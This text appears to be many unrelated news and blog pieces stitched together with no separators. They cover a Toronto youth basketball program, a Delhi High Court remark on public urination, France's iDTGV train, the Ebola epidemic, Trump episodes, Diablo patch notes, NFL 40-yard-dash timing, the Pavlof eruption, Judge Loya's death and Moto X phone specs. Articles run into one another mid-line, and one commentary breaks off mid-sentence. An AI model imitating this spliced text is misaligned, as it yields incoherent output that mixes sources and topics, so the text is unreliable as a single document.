Today, parents pay a fee, CIA Bounce rents the gym, and volunteers run the programs. They also participate in the Elite Youth Basketball League, which is a circuit with stops including Sacramento, Dallas, and Virginia and culminates with a national championship tournament in South Carolina.
“Everyone [working] in our program has a full time job,” said McIntyre. “And so everything that is done in this program is all based on volunteers, based on people putting back into the community.”
CIA Bounce’s programs run from 17-and-under (which is sponsored by Nike) down to 14-and-under, plus Ontario Basketball Association (OBA) teams that go down to 7 and 8-year-olds. McIntyre said there’s also an introductory “small ball” program for 4 to 9-year-olds.
“The exciting part is the young guys we have now—and young girls for that matter—that are 10, 12 years old now, they’re seeing the Canadian guys now as their role model,” said O’Keefe.
And these same Canadians playing in March Madness are eager to take on the role model duties.
“All these guys that are in college, the first thing they do when they touch down in Toronto is: “Coach, we’re here. Where’s the gym? Where’s the kids? Let’s go.’ And they’re right back in the gym giving back to all the kids that were in the exact same spot that they were,” said McIntyre.
But as important as the gym is, McIntyre emphasizes the classroom, and says what separates CIA Bounce kids from others is their understanding of how important education is in their ability to “make it.”
Those “kids” include Tristan Thompson and 2013 top NBA draft pick Anthony Bennett, who both currently play for the Cleveland Cavaliers; Andrew Wiggins, who could be the number one pick in 2014, Melvin Ejim and Tyler Ennis, who are all likely to be drafted this year.
Tyler Ennis graces the cover of Sports Illustrated! Second Canadian next to Wiggins this year! #BIG #NBAREADY #CDNS pic.twitter.com/vsm6am5qgp — Hoops Hype Canada (@HoopsHypeCA) March 27, 2014
“It’s possible for Canadians to make it here, you just gotta work hard,” Ennis said at a recent Elite 24 event in Venice Beach.
Watch below: Tyler Ennis on why he’s thankful to the CIA Bounce program. Courtesy: Edison Sigua & Mark Vallena.
In addition to being a proud father, McIntyre says Bennett as the top draft pick would be an “easy” proud moment to list—but the best may be yet to come.
“My proudest moment is probably coming up in April or May when Melvin Ejim of Iowa State graduates, and we have our first guy that comes through with a degree from a 4-year program who’s competed night in and night out, who’s been a scholar in the classroom, and he graduates and has a chance hopefully to play in the NBA. That’ll be a very proud moment for us.”
No other program in the country can claim the success rate of CIA Bounce, but McIntyre remains humble.
“When these guys get [a] scholarship, there’s a checklist of people responsible for every one of those players. And it’s not only CIA Bounce. CIA Bounce was an avenue that allowed that bus to go down a paved road with a lot of hard work.”
For inspiring the next generation of Canadian athletes, Tony McIntyre is one of our Everyday Heroes.
What makes an Everyday Hero?
There are many people trying to make a difference who rarely receive the media attention they deserve. Everyday Hero is our attempt to provide better balance in our newscast. We profile Canadians who don’t go looking for attention, but deserve it. People who through their ideas, effort and dedication are making a difference in the lives of other people.
If you know of an Everyday Hero whose story we should tell, share the information with us by emailing viewers@globalnational.com.
With files from Global News reporter Mike DroletNEW DELHI: The problem of men urinating in public has left even the Delhi high court exasperated.A division bench of Justice Pradeep Nandrajog and Justice Deepa Sharma said, on a lighter note, that short of ordering that every man's zipper be locked and the keys left at home, there is little it can do to check the menace.Refusing to intervene on a petition seeking direction to authorities to ensure walls are not defaced by people urinating in public, HC pointed out that it can't issue such directions. "The problem of urinating in public has to be solved elsewhere. Surely, this court cannot make a man, who walks out of his house, keep his zip locked," the court said, hoping that "man, the greatest creation of the infinite artist, would not bare his privies in front of his lord and urinate on the road".HC lamented that even pasting portraits of deities on walls does not stop men from relieving themselves in public. "In spite there of, the photographs evidence that the pressure on the bladder is blatantly relieved by virtually peeing on the photographs of one's God."The bench made the remarks while disposing of a plea seeking removal of pictures of deities from the walls of a housing complex which. The pictures were put up to discourage people from urinating on them of the housing complex' compound, the court noted but added that despite this those engaged in such activities have not been dissuaded. "Nobody can prevent a person from affixing photographs of deities on the walls of his house or the walls of a group housing complex. The direction sought to be issued against the residents that photographs of Gods be directed to be removed cannot be issued by us," it said.HC noted that the complex owners wrote in graffiti, "Look here, a dog and a donkey is peeing", but this did not deter a man from doing just that.The court in its order said petitioner Manoj Sharma had filed pictures showing that residents of buildings were "fed up with the Indian habit of relieving the pressure on the bladder by unzipping and peeing on the first wall they see" and had affixed photographs of deities on the walls to curtail or prohibit such conduct.Joined to a regular TGV train, this iDTGV, playing on the French word "idee" or "idea", is operated privately, but owned by the national SNCF rail company and designed as a laboratory for future rail travel. The iDTGV was launched in December 2004 and offers cheaper tickets, Internet reservations, and services aimed at pleasing passengers, including a soon-to-be launched party train, to help the SNCF better compete with low cost airlines.
In its early days the iDTGV angered the French rail unions who successfully fought to ensure that, although a subsidiary, the service still uses SNCF staff and equipment. Sitting on a bar stool and watching the autumn-coloured countryside rush by, 27-year-old Marine Oz, from Marseille, chose to sit upstairs on the double-decker train, which is split into two areas to accommodate different types of travellers. Downstairs is peaceful with no noisy chat or mobile phones. The top deck is designed for entertainment and interaction between passengers, including a service that helps them meet each other en route.
As the bar fills up, some passengers, many of them young professionals, browse a catalogue of DVDs and video games available for rental, while others peruse magazines. Nearby, a couple of young workers from an AIDS charity set up a stall.
"What's the difference between this bar and those on other trains?" says Patrice, one of the conductors. "Well, people are more open. We sometimes have concerts on board too." Since the start, iDTGVs, which now travel to around 20 French towns and cities, have hosted a string of events, from food and wine tastings to massages and cabarets. They have shuttled some three million passengers across the country and management claims to have helped the national rail operator inch up its market share, even though the traffic only represents a fraction of all TGV activities.
While the cheap, self-printed tickets - which are checked before boarding instead of en route as on normal trains - are the iDTGV's main draw, other initiatives have had varying degrees of success. A website designed to introduce passengers to each other to set up meetings or car shares, or discuss common interests during the journey, has been slow to take off.
Although an average of eight people register and contact each other before boarding each train, conductors report that seats reserved for the service are always empty. Pierre Frederic Imbert, 34, who works in Marseille, says he was tempted to sign up. "But there's a risk, because the journey lasts three hours so if you find someone strange you're in trouble."
iDTGV management maintain they have had positive feedback and dismiss any teething problems as part of the experiment. Initially available for a small fee, the service was recently made free of charge to attract more users.
Meanwhile, another new project may help passengers actually find each other once they are on board: an intranet service for online chat and downloading music and information on the train's destinations. As the iDTGV slides through the French countryside towards the Mediterranean, travelling at around 300 kilometres (186 miles) per hour and joined to a regular TGV, many comment that the conductors appear more friendly than on normal trains. They carry electronic devices to identify passengers and their seat numbers, and help people to change seats if they wish. They also upgrade passengers to first class on their birthdays, and make sure the calm areas remain quiet.
Jean, a conductor, says he enjoys the different atmosphere and appreciates the absence of ticket checks. But he is less enthusiastic about some of the new proposals, including plans for a slow, cheap overnight train, without sleeping berths but carrying a DJ, to take partygoers to several seaside destinations from Paris, due to be launched in April 2008.
"We're afraid that they'll be loads of youngsters smoking, drinking, taking drugs and trashing the expensive train seats," he says as the train pulls into the platform. Back in Paris, management dismiss the workers' fears. Ludovic Bonnet, communications and marketing director, underlines that the industry needs to experiment and evolve to prepare for when Europe's national rail networks open up to competition in around 2010.
Giving passengers choices about how they will travel is the key to keeping them happy, he says. "The problem with communal transport is that it's communal. Sometimes it's a good surprise to meet the others you are travelling with, sometimes it's not."
AFPThe widening epidemic of Ebola in West Africa looks worse with each passing day. The outbreaks in the hardest-hit countries — Guinea, Liberia and Sierra Leone — have outstripped the ability of humanitarian groups and fragile government health systems to treat the sick and slow the spread.
A panicky effort to quarantine a large slum in Monrovia, Liberia, using troops to keep people penned in, proved a disastrous failure that probably made things worse. A shortage of protective clothing for health care workers treating sick patients in Sierra Leone led nurses to strike last week in a desperate effort to get more help. The virus has begun to spread to other countries where there is always a danger that it could ignite a new round of outbreaks.
In separate statements last week, officials of the World Health Organization, the Centers for Disease Control and Prevention, and the medical charity Doctors Without Borders warned that the outbreak is spreading out of control. W.H.O. leaders have said the outbreak in West Africa could be stopped in six to nine months, but only if a “massive” global response, which is nowhere in sight, is carried out.
The most shocking news of the week was how ill-prepared the W.H.O. was to organize an effective response. As Sheri Fink reported in The Times on Thursday, the agency had been weakened by harsh budget cuts in recent years and did not have the staff or ability to flood the Ebola zone. Its emergency response units have been slashed, veterans who led previous fights against Ebola have left, and scores of positions have been eliminated.Donald Trump’s angry morning tweet storm reached another new low with attacks on his Attorney General for not investigating his former presidential opponent, and on his acting FBI Director’s integrity. This and other attacks on key law enforcement figures in his own Executive branch goes far beyond breaking norms of investigatory independence. They bring us clearly into the territory, where we may have been for a while, of a president bent on destroying the |
have seen many different geometrical areas, but probably took them for granted! For example, basketball is chock full of circles, spheres and rectangles; baseball is played on a diamond; even chess and hopscotch are games of squares. The narrator also presents a trick behind the game of billiards which relies on…you guessed it—maths!
And then there is my favourite part of the entire movie: the mind games. Before starting, it is hilarious to see how cluttered Donald’s mind is but, once it’s cleared, he goes on a roll! He starts out with just a circle and a triangle. Donald discovers numerous inventions including magnifying glasses, wheels, propellers, gears, springs, telephones, pistons and many more—far too many to cover in one blog post! He also comes across the conic sections, from the ellipses that make up the planetary orbits to the parabolae seen in searchlight reflectors.
Yes, mathematics plays an important part in scientific discoveries and technological advances. Plenty of these doors have already opened, but there are still many more that remain locked. When I first saw the film, I was part of the next generation, waiting to unlock the doors of the future. Now it’s my turn to start unlocking and, who knows, maybe someday you will open one of those doors, too. Just remember, the key to the doors is none other than mathematics.
But don’t just take my word for it—have a look at the film for yourself. Oh, and watch out for Lewis Carroll and the visual pun on square roots!
If there is one way to end this blog post, it would be with the quote from Galileo at the end of Donald in Mathmagic Land…
“Mathematics is the alphabet with which God has written the universe”.It’s been a big week for Donald Trump. The GOP nominee attacked the family of a Muslim-American soldier killed in the line of duty, took a shot at victims of workplace sexual harassment, and on Tuesday, started beefing with a baby during a Virginia rally.
“Don’t worry about that baby,” Trump said after a crying infant could be heard on a broadcast of the speech. “I love babies, I hear that baby crying, I like it! What a baby! What a beautiful baby.”
“Don’t worry, the mom’s running around, don’t worry about it! It’s young and beautiful and healthy, that’s what we want,” he continued.
The New York businessman went on talking about China’s “devaluation” of its currency.
“Actually, I was only kidding. You can get the baby out of here,” he then said to laughs from the crowd. “I think she really believed me that I love having a baby crying while I’m speaking.”
Watch the exchange via ABC News:New Card Reveals From Gamescom, New Mechanic: Joust + New Ranked Rewards
Gamescom Info - Infernal Shrines, Kharazim, Rexxar, Artanis, - Ability and Video Previews!
Patch 6.2.1 PTR - Build 20363, August 5 Hotfixes, Heroes and Hearthstone Announcement
Diablo PTR 2.3.0 Patch 2
As always please remember the following is datamined and may contain errors. This post is a WIP, please keep checking back
Set Bonus Changes
DiabloFans Quote: Shenlong's Spirit [2 Pieces] - All damage is now increased by 1.5% ( down from 2%)
Immortal King's Call [6 Pieces] - Now increases damage by 250% ( up from 100%)
Sage's Journey [3 Pieces] - Text changed, Same effect
Helltooth Harness [2 Pieces] - Now takes 1500% weapon damage every second ( up from 1000%) and takes 20% increased damage ( up from 15%) [6 Pieces] - Now gets 900% increased damage ( up from 300%) Now last for 15 seconds ( up from 12) No longer says it stacks up to 3 times
Spirit of Arachyr [2 Pieces] - Now deals 4000% weapon damage ( up from 2500%)
Item Passive Changes
DiabloFans Quote: ItemPassive_Unique_VoodooMask_002 Chance when attacking to summon horrific Mimics that cast some of your equipped skills. (reworked to cast some skills)
Chance when attacking to summon horrific Mimics that cast some of your equipped skills. (reworked to cast some skills) ItemPassive_Unique_Ring_576_x1 The 5 Fetishes closest to you will shoot a powerful Poison Dart every time you do. (reworked from all Fetishes shooting)
The 5 Fetishes closest to you will shoot a powerful Poison Dart every time you do. (reworked from all Fetishes shooting) ItemPassive_Unique_Ring_586_x1 Enemies hit by your primary skills, Acid Cloud, Firebats, Zombie Charger, Zombie Dogs, Gargantuan, Grasp of the Dead, Piranhas, or Wall of Death are afflicted by Necrosis, becoming Slowed, taking [VALUE]% weapon damage every second, and taking 20% increased damage ( up from 15%) from all sources for 10 seconds.
Enemies hit by your primary skills, Acid Cloud, Firebats, Zombie Charger, Zombie Dogs, Gargantuan, Grasp of the Dead, Piranhas, or Wall of Death are afflicted by Necrosis, becoming Slowed, taking [VALUE]% weapon damage every second, and taking 20% increased damage ( from 15%) from all sources for 10 seconds. ItemPassive_Unique_Ring_715_x1 Increases Death's Breath drops by 1. (reworded)
Increases Death's Breath drops by 1. (reworded) ItemPassive_Unique_Mojo_010_x1 Your Hex - Angry Chicken explosion damage is increased by 200% ( up from 100%) and slain enemies trigger an additional explosion.
Your Hex - Angry Chicken explosion damage is increased by 200% ( from 100%) and slain enemies trigger an additional explosion. ItemPassive_Unique_Ring_858_x1 Gain the Swampland Attunement passive. (reworded)
Gain the Swampland Attunement passive. (reworded) P3_ItemPassive_Unique_Ring_010 After casting Wall of Death, gain [VALUE]% increased damage for 15 ( up from 12) seconds to your primary skills, Acid Cloud, Firebats, Zombie Charger, Zombie Dogs, Gargantuan, Grasp of the Dead, Piranhas, and Wall of Death. (effect no longer stacks 3 times)
Class CahngesThose old parks might have been a bit grimy, and they might have rattled and swayed a bit when the crowd roared, but you couldn’t beat them for fun and excitement if you were there between your mom and your dad — and the hot dogs and Cokes and peanuts and beer were accompanied by the likes of Mays and Mantle and Snider, sometimes in a doubleheader.
There are an awful lot of ordinary families who would have a very tough time paying for even what passes as moderately priced seats nowadays, and even the hot dogs and sodas are increasingly unaffordable.
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My Jets will be playing the Buffalo Bills on Sunday in the huge, perfectly fine football stadium that they share with Giants in the New Jersey Meadowlands. But apparently that stadium is as obsolete as the old Yankee Stadium and Shea Stadium, where the Mets used to play. Because next year the Jets and Giants will go halfsies on yet another sparkling new stadium for the New York metropolitan area.
Some of the greatest times I had with my dad were at Shea Stadium, which is where the Jets also played back in the days when Joe Namath was their quarterback. On a cold, rainy Sunday, like the one forecast for this weekend, we’d drive out to Queens from New Jersey and shiver and cheer and laugh as Namath lit up the sky with passes that seemed to arc like a rainbow high over the heads of the defenders and then descend into the sure-fire hands of crackerjack receivers like Don Maynard and George Sauer Jr.
The prices were reasonable enough that my dad and I never gave a second thought to the cost. Even the scalpers’ tickers were affordable.
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The changes over the years were imperceptible enough that no one gave them much notice. There’s no way to pinpoint when we became a country that could build the biggest, most garish, most electronically equipped stadiums you could imagine, but almost nothing else.
The auto industry is on its knees and we’ve got school buildings in sorry shape and we can’t even rebuild a public hospital in New Orleans. But the Dallas Cowboys have a brand new billion-dollar-plus domed stadium that looks like something out of “Star Wars.”
They actually sell tours of this stadium, and the ticket prices for the tours are more than families used to pay to go to professional sporting events.
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Almost every adult I’ve ever spoken with who went to a baseball or football game as a child remembers the shock of entering the stadium and then suddenly coming upon the glorious expanse of emerald green grass, sparkling beneath the sun or the brilliant lights at night games.
I remember that those games seemed to go by with the speed of light. The seventh and eighth innings — or the fourth quarter in football — used to come so fast. You never wanted it to be over.
Maybe this is not the biggest issue facing the country, but I can’t help feeling we’re making a big mistake pricing these games out of the reach of today’s boys and girls who are growing up in families of modest means.This post is based on a presentation given at conference on evidence based laceration repair. The presentation and the PDF cover primarily the topics of pediatric anesthesia and sedation for lac repairs, and repair of special locations of lacerations including eyelid, tongue, lip, ear, and nail-bed lacerations. The guide is not a comprehensive approach to laceration repair. Assumed is an understanding of technique and of suture material, and thus focuses on areas of the literature in which there has been a paradigm shift or a unique technique. Much thanks to LacerationRepair.com which was an invaluable resource in constructing this presentation. Also thanks to BestBets.org which also eased the difficulty of finding good literature for this topic. The information within is not to be taken as medical advice or to be used as an official medical resource, in particular when it comes to medication dosing.
LinksOne time in 1963 or ’64—Gil Brandt can’t exactly pinpoint which—the Cowboys were in Jacksonville working out a prospect, but the weather was terrible. The rain in Florida had made it impossible to run a legitimate 40-yard dash on one of the few football fields available, so they had to get creative. The Cowboys and the prospect went to Jacksonville’s airport, cleared out a corridor and timed his 40 there.
Brandt ran guys in their dorms. He ran them in hotel hallways. Cowboys scouts used to carry a 40-yard wash line with them on trips so that they wouldn’t have to measure a foreign field.
Next week in Indianapolis, more than 300 of the top NFL prospects will run the 40-yard dash at the NFL scouting combine. Scouts from every team will be present, and the many of the runs will be broadcast live on NFL Network. The players will be timed by a laser at the 10-, 20- and 40-yard lines. A few hundredths of a second could be worth hundreds of thousands of dollars.
“It’s become a universal way of doing things,” said Brandt, the long-time personnel man for the Cowboys. “It’s like zip codes and postal mailings and area codes. It’s a part of life.”
Brandt didn’t invent the 40, but he popularized it as the modern-day scouting tool for speed. Today it’s the seminal event at the combine, a rather boring event that’s more about medicals and interviews than on-field drills and speed tests. But the 40 is forever. Chris Johnson’s 4.24 40 in 2008 remains the modern-day benchmark.
Deion Sanders ran a 4.27 in 1989. Bo Jackson holds the mythical record of 4.12 from 1986, though debate continues on whether that was an accurate time. Different evaluators and clubs place varying importance on the 40, but the old axiom remains true.
You can’t teach speed.
Paul Brown couldn’t have envisioned all of this when he invented the 40-yard dash in the ’50s. From the millions watching on TV to the laser times and the training facilities that agents spend tens of thousands on in which to train their clients—he just wanted a tiebreaker to figure out who could cover a punt.
Brandt joined the Cowboys upon their founding in 1960 as the vice president of player personnel, and some time in the early ’60s he and the team adopted the 40-yard dash as a uniform way of assessing players’ speed. Some schools would have their players’ times in the 100, and others would have them at the 50.
Why 40? He still isn’t sure, but it quickly became the norm. Dallas was on the front end of the comparative analysis curve in the NFL, which helped the Cowboys to five NFC titles and two Super Bowl titles by 1978. Dallas would send staffers to schools with a stopwatch and a bathroom scale to get their own times and weights. Back then—and even today—you couldn’t always trust the schools to give you accurate numbers. In 1971, Brandt was at Ohio State when he timed defensive back Tim Anderson at a 4.72 40. Apparently San Francisco had a much faster time for Anderson, and the 49ers drafted him in the first round that year. Dallas coach Tom Landry wanted answers.
“Coach Landry came to me with his arms folded and said, ‘Are you sure you know how to time?’ I said, ‘Coach, I don’t know if I know how to time but I know I was the only one there,’” Brandt recalls. “Turns out my time was wrong. He was even slower than I had timed him in. He ran like a 4.8 or 4.79 or something like that.” Anderson played just two seasons in the NFL.
Panthers general manager Dave Gettleman hasn’t missed a combine since 1986, one year after all 28 NFL teams got on board with the event.
In the early years, prospects ran slower 40s than expected, and scouts later learned it was because the players had been testing quad strength on the Cybex machine the previous night. (The combine doesn’t use the Cybex anymore.) One of the greatest early combine stories came courtesy of Florida State’s Deion Sanders in 1989. There was talk pre-combine that Sanders wouldn’t run the 40 at all; he later said he would take his medicals, run his 40 and go home.
“Deion gets up to the line and runs his first 40 and everyone has him at 4.3. We figured he was done. He gets up and runs another one, and he runs even faster,” said Gettleman, then a scout for the Bills. “Some people had him at 4.25 [officially a 4.27]. And the funniest damn thing about it was he finishes the 40, continues to run, waves to everybody, goes right through the tunnel and we don’t see him again. We all got up and gave him a standing ovation because so many of those guys wouldn’t run.”
The 40 can mean different things for different positions. There’s been debate about whether offensive and defensive linemen should run the 40, but some teams use that data when evaluating a player’s athleticism. The 10- and 20-yard splits are far more important in the evaluation process for those two groups.
Game speed and straight-line speed are two different things, too. Jerry Rice ran a 4.71 40, but the greatest receiver of all time couldn’t be caught in the open field. Jarvis Landry ran a 4.77 in 2014 and has put together consecutive 1,100-yard seasons. But a 4.6 receiver and a 4.6 cornerback aren’t created equally. Larry Fitzgerald can do just about anything on the field, but a 4.6 corner can’t cover a go route no matter how good his ball skills are.
“There are certain things that 40-yard dash times will tell you. You look at your defensive ends and if they run 4.8 or slower and, referring to sack production, history will tell you they’re not going to be big sack guys in the NFL,” Gettleman said. “Same thing for offensive linemen. I’m a believer that the 40-yard dash time is an indicator. I’m not saying you live and die with it. If they’re 5.4 or 5.5, that’s an indicator that they won’t have the foot speed to play out there on that island.”
Jeff Foster was a scout with the Chiefs before becoming the president of National Football Scouting, which oversees the combine. Next week will mark his 12th year in charge of the combine, and he knows what talent evaluators are looking for. On average, he estimates, 90% of the prep work on an athlete is done before the combine because scouts have been watching that player for the past two years.
The 40 can help with some unique situations, though. Maybe a guy played out of position, like a defensive end in college who’ll be an outside linebacker in the pros. Or perhaps he played on a lower level and it’s difficult to properly evaluate his speed on tape because of the competition level.
Sometimes you can explain away a slower 40, but a fast 40 never hurts.
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“I think you can look back at any draft, and not just at the combine but pro days, and all of a sudden somebody runs a really fast time, like 4.2 something, and all of a sudden that player is getting drafted higher than he was projected the month before,” Foster said. “If you’re going to take a flyer in the draft on something, you’re going to bet on speed before you bet on something else.”
That’s why getting the time exactly right is paramount. The combine’s electronic timing device features a manual start with an electronic finish. Unlike a track meet, players leave their stationary position when they’re ready, but they’re instructed not to roll into the start because the timer begins on their first movement.
The combine places a man at the six-yard line, and he triggers the timer at first movement. Lasers take the times from the 10-, 20- and 40-yard lines for the combine’s official times. It’s important to get the starter as close as possible to the player at the beginning of the run, hence the six-yard-line, rather than have him stand at the finish line.
“If you think about it in terms of biomechanics, you see a guy, your brain tells your finger to push the button,” Foster said. “Well if you’re 40 yards away, it’s going to take that much longer—and we’re talking about hundredths and thousandths of seconds—but as you know that can mean the difference in a game.”
Two industries have grown significantly in connection to the combine. First: The NFL's off-season news cycle. The media presence at the combine has increased exponentially, from almost nonexistent two decades ago to more than 1,300 credentialed media members last year. The other, far more profitable industry is combine-specific training.
There are people—namely, agents—who will argue that either you can run or you can’t, and that a training facility that rings up a bill in the five figures isn’t worth the cost. But facilities across the country have carved out a niche market based entirely off training athletes from the first day after a bowl game to the week before their Indianapolis trip.
EXOS training facility, based in Phoenix and founded in 1999, is the industry leader. EXOS boasts that seven of the top 10 times from last year’s combine came from athletes that were in their program.
Roy Holmes is the performance manager at the San Diego facility, where he’s been training athletes for the combine for six years. Because the combine can be as much about medicals and character as it is on-field performance, Holmes places greater emphasis on getting players healthy and teaching them interview techniques than 40 training.
Holmes tells the players when they get to the facility that they’re about the run the slowest 40 of their lives. First, they probably have no technical know-how. Secondly, they’re weak having just finished their season. And finally, they’re in football shape, which is totally different than the kind of training shape they need to be in to perform at a top level.
Holmes breaks the 40 down into three categories. They inspect players to see if they have any movement restrictions: bad hips or bad ankles, poor posture or stability. The first order of business is to clean that up. Next are the technical aspects of how to run fast in a straight line, which is taught in track and field but obviously not in football. And lastly, how and when to apply force and power into the ground.
Think of it like streetracing. If you gas the car too much at the beginning, you could redline. But once you reach your max, you need to shift into another gear to maintain that power.
“Oftentimes guys will think the faster they move their legs in the beginning, the faster they’re actually traveling,” Holmes said. “You want to take the least amount of steps possible in a short amount of distance. If I’m taking 20-some odd steps and that’s resulting in me running a 4.5, now I can get it down to 16 steps but now I’m running a 4.4. That’s something that’s drastically different.”
Scouts know that combine prep is as good as it’s ever been. It’s possible—and in many cases likely—that next week in Indianapolis will be the last time most of those players run the 40 again. Maybe the players are gaming the system with help from these training facilities, but no talent evaluator has wool over his eyes.
“Everybody knows what the tests are going to be, so everybody prepares for them,” Gettleman said. “If I’m taking a math test, I’m not studying English.”
The 2017 NFL combine's biggest snubs Bradley Leeb/AP Mike Stewart/AP Charlie Neibergall/AP Al Goldis/AP Scott Grau/Icon Sportswire Chris Coduto/Icon Sportswire Matthew Pearce/Icon Sportswire Thomas McEwen/Icon Sportswire Ed Zurga/Getty Images Jeff Gammons/Getty Images 1 of 10 Advertisement
Chris Johnson had a breakout senior year at East Carolina, rushing for 1,423 yards and averaging six yards per carry in 2007. But he wasn’t considered a first-round talent until he clocked a 4.24 in the 2008 combine.
“You’re in a [TV production] truck, so at a certain point all sprints all look alike,” said NFL Network’s Charlie Yook, “but when Chris ran it was, Oh. We kind of knew it was something special.”
NFL Network launched in 2003 and the following year began exclusively broadcasting live from the combine. Yook is now the senior coordinator producer at the network and oversees its combine and draft coverage. It’s his job to provide context to an event that involves hundreds of 22-year-olds running drills in spandex.
Foster likes to joke with the network that it should win a sports Emmy for turning the combine into an exciting, watchable television event. And Yook understands that—just like the 100-meter dash, swimming and gymnastics at the Summer Olympics—the 40-yard dash is the marquee event.
When LSU’s Leonard Fournette runs the 40 on Friday, Yook’s team will have last year’s tape of Ezekiel Elliott cued up and ready to compare. NFL Network analyst Mike Mayock will interpret Fournette’s time and explain how it should translate to the field.
In recent years, NFL Network has used “simulcams” for the 40s. If you’ve watched a combine in the past three years, you’ve seen them. Simulcams match up a handful of players by position and, in one screen, show these shadowy, silhouetted figures running against one another. This year Yook will borrow from NASCAR and horse racing and have bubbles floating above the player to separate them.
“This year we plan on a clearer picture with bubbles, or flags, that will show who’s who,” Yook said. “So instead of showing RG3, Cam [Newton], Andrew Luck and let’s say Deshaun Watson in those shadowy moments, the picture should be a little bit clearer with identifiers floating above them to let the viewer know who’s who. It can be confusing at times when they’re so close, especially regarding speed.”
Network cameras can’t follow players into their interviews with teams or to the MRI room, so the televised event has to be focused on the field. Coverage begins Friday at 9 a.m., and the first event of the day is the 40-yard dash for running backs and offensive linemen. Just like golf coverage, the NFL Network will show the top players’ 40s live, and if something happens when they go to commercial they’ll show a replay.
Mayock and the crew will try their best to contextualize the on-field drills and explain the importance of offensive linemen flipping their hips or the release point for quarterbacks. But there’s only one drill that transcends football knowledge.
“The one thing the viewer can relate to—if they don’t know what the shed and stack drill is, or they don’t know what the gauntlet is—they know a fast guy when they see it. They know what speed is. That in itself almost makes it, the reason why everyone gravitates to it is they know what it is. By just seeing it, they know.”Over the weekend, a small eruption began at Alaska's Pavlof. Now it seems like that eruption has begun to intensify, with new reports from pilots near the volcano saying that the plume now reaches more than 6.5 km (22,000 feet) and the latest update from the Alaska Volcano Observatory reports that the plume is seen drifting 80 km to the southeast in satellite images (see above). This change has prompted AVO to raise the Aviation Alert Status for Pavlof Red/Warning.
This new eruption started just over one year after the last eruption at Pavlof and judging from the images of the eruption (see below) taken from nearby, the activity appears to be pretty similar, with strombolian eruptions and possibly lava flows moving down the flanks of the volcano. Last year's activity lasted a few months before the volcano quieted and the alert status was moved to Green/Normal until AVO moved the volcano back to Orange/Watch on May 31.
Image: AVO/Paul Horn, Alaska Fish and Game
You can catch a glimpse of the eruption on the FAA webcam in Cold Bay. Be sure to check out some of the images of the current activity on the AVO website as well.NOT long ago I asked a good friend of mine — one of the smartest men I know, and one of the most devoted dads — if he thought that his children would live in a more prosperous America or at least enjoy the same bounty of opportunities that we had.
His response was instant and unequivocal. No.
“How do you make peace with that?” I said.
He shrugged, laughed bitterly and answered, “I’m hoping to leave them a lot of money.”
The American dream, 2014 edition: Squirrel away nuts for a leaner tomorrow. The worst is yet to come, so insure yourself against it if you’re among the lucky few who can.
I was reminded of my conversation with him when I read last week about a fresh projection, from a branch of the World Bank, that the Chinese economy might overtake ours by the end of this year, finishing our century-plus reign as the world’s wealthiest nation. What a run we had! It was great while it lasted.The Big Story: Justice in crisis
What sounds like a topic more relevant for prime-time television debates and press conferences by Opposition parties: a slightly offensive cartoon betraying the elitism of a political party or a Bollywood movie about a fictional queen? Or perhaps the claims made by the family of a judge presiding over a case involving the president of India’s ruling party about the mysterious circumstances of his death and allegations of corruption in the judiciary?
The reports on these allegations published by The Caravan on Monday and Tuesday raised enough questions to have swamped the news cycle. The articles are based on the statements of the family of Brijgopal Harkishan Loya, a judge presiding over the Mumbai special Central Bureau of Investigation court that was hearing the Sohrabuddin fake encounter case. Sohrabuddin Sheikh, a wanted criminal from Gujarat, was allegedly killed by the police in a staged incident in 2005. The CBI claimed that the officials responsible for the conspiracy to murder Sheikh included Bharatiya Janata Party president Amit Shah, who was then home minister of Gujarat.
Loya was transferred to the CBI court in the latter half of 2014 after a previous judge had moved out, right after he had demanded that Amit Shah turn up in court rather than constantly asking for exemptions. Loya himself had initially allowed Shah not to show up. But when the BJP leader was in Mumbai not far from the court and still did not appear, Loya on October 31, 2014, asked why Shah was not in court, and set the next date for December 15, 2014. On December 1, Loya was dead. His family was told that he had suffered a heart attack while travelling for a wedding.
His family has alleged in The Caravan article that the circumstances of his death were murky, though they claim that they were told at the time not to make their concerns public. They mention many details that have given them cause for suspicion, from the time of death to the condition of Loya’s body to the fact that his mobile phone was returned to them two days later by a worker from the Rashtriya Swayamsevak Sangh. The Caravan has even posted videos of the family making charges of corruption against a senior member of the judiciary. According to The Caravan, the family asked for an inquiry commission to investigate Loya’s death, but nothing came of this.
This is explosive material and, at the least, requires further investigation from others in the media as well as demands for accountability from other political parties. The details here are directly connected to the very nature of the case: that the state machinery was allegedly misused to ensure favourable political outcomes.
It is true that there are many questions about the matter that are yet to be answered, but the blanks can be filled in only if the matter is investigated by the media and if politicians demand accountability. Some parties, like the Congress, may be fearful of an issue like this playing havoc with their electioneering plans for Gujarat. But that is no excuse and it certainly doesn’t explain why the Left and other parties have not picked up the issue.
Most of the media has also been silent on the charges, perhaps out of fear of taking on the politician some believe to be the second-most powerful man in the country. Failing to consider the allegations of Loya’s family will be to succumb to the atmosphere of fear that the BJP administration has sought to create in its attempt to ensure that no individual or organisation questions its official narrative.
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If you have any concerns about our coverage of particular issues, please write to the Readers’ Editor at readerseditor@scroll.in
Punditry
Rahul Gandhi’s biggest challenge will be to retrieve the can-do spirit for the Congress, says Smita Gupta in The Hindu. Soli Sorabjee on the importance of a recent Supreme Court verdict against the movie ‘An Insignificant Man’ to freedom of expression. Following a fiscal deficit target irrespective of circumstances could have an adverse impact on developmental expenditure, Ranjani Sinha argues in the Mint.
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T A Ameerudheen on why Kerala’s schools and colleges have few Dalit teachers.Motorola’s press event is going on right now, and they’ve just revealed not one, but two brand new models of the Moto X — the Style, and the Play. Motorola’s inspiration for this year’s round of silicon is that phones should “love us” just as much as we love them, in that they shouldn’t be inadequate in basic areas of battery life, speed or durability.
Marketing fluff aside, these are some pretty good phones, and we’re here to tell you everything you need to know about them.
Moto X Syle
The Moto X Style is the company’s most premium smartphone set to hit the market this year, and can be considered the true spiritual successor to the 2014 Moto X. It includes a metal frame with premium soft silicone material on the back for a nice grip, look and feel. Here’s the full spec sheet you can look forward to once you have it in your hands:
5.7-inch Quad HD display with Corning Gorilla Glass 4
1.8GHz Hexa-Core Snapdragon 808
3GB of RAM, 16GB, 32GB, or 64GB of storage w/ microSD slot (up to 128GB)
3,000mAh battery with TurboPower offering 50% more charge speed than Samsung Galaxy S6 ’s fast charging
21 Megapixel f/2.0 aperture camera with 4K video recording
5 Megapixel wide-angle front camera with flash
Front-facing speakers
WiFi AC + MIMO, Bluetooth 4.1 LTE, GPS and NFC
153.9 mm tall, 76.2 mm wide and 6.1-11.06 mm curve
